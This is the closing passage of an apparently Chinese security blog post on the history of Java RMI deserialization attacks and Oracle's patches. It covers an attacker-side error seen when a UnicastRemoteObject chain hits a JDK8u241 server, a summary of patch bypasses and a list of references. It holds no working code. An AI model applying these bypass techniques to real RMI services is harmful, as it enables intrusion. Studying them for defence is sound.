当使用UnicastRemoteObject链结合改造的lookup()攻击基于JDK8u241的目标RMI服务器时出现该报错

攻击者日志信息:

1
java.lang.ClassCastException: Cannot cast an object to java.lang.String

这种情况是本章5.1提到的Oracle官方在JDK8u241用于修复UnicastRefRemoteObject链的补丁,最终在反序列化时报错java.io.ObjectInputStream#readObject0

这种情况下说明目标的JDK版本高于或等于8u241版本,目前只能使用应用层的方法进行利用了

3、总结

本文基于Oracle官方对于RMI利用的修复历史,依次分析了JDK8u121的JEP290修复绕过、JDK8u141的来源限制、JDK8u231对于UnicastRef链的修复、JDK8u241对于UnicastRefRemoteObject链的修复及各补丁的绕过情况。这部分知识网上资料很多,但大多是分析单个版本的利用手法、修复及绕过。自己看了一圈后,感觉还是懵懂,深知自己对于这部分内容的储备及理解不够,遂花了亿点时间整理此万字长文。也希望对各位学习这部分知识的师傅有帮助。

4、参考

https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf
https://su18.org/post/rmi-attack/
https://mogwailabs.de/en/blog/2019/03/attacking-java-rmi-services-after-jep-290/
https://www.anquanke.com/post/id/197829
http://code2sec.com/cve-2017-3241-java-rmi-registrybindfan-xu-lie-hua-lou-dong.html
https://xz.aliyun.com/t/7932


论RMI的攻防演进史
https://pwnull.github.io/2022/Exploring-JAVA-RMI's-offensive-and-defensive-history/
作者
pwnull
发布于
2022年11月20日
许可协议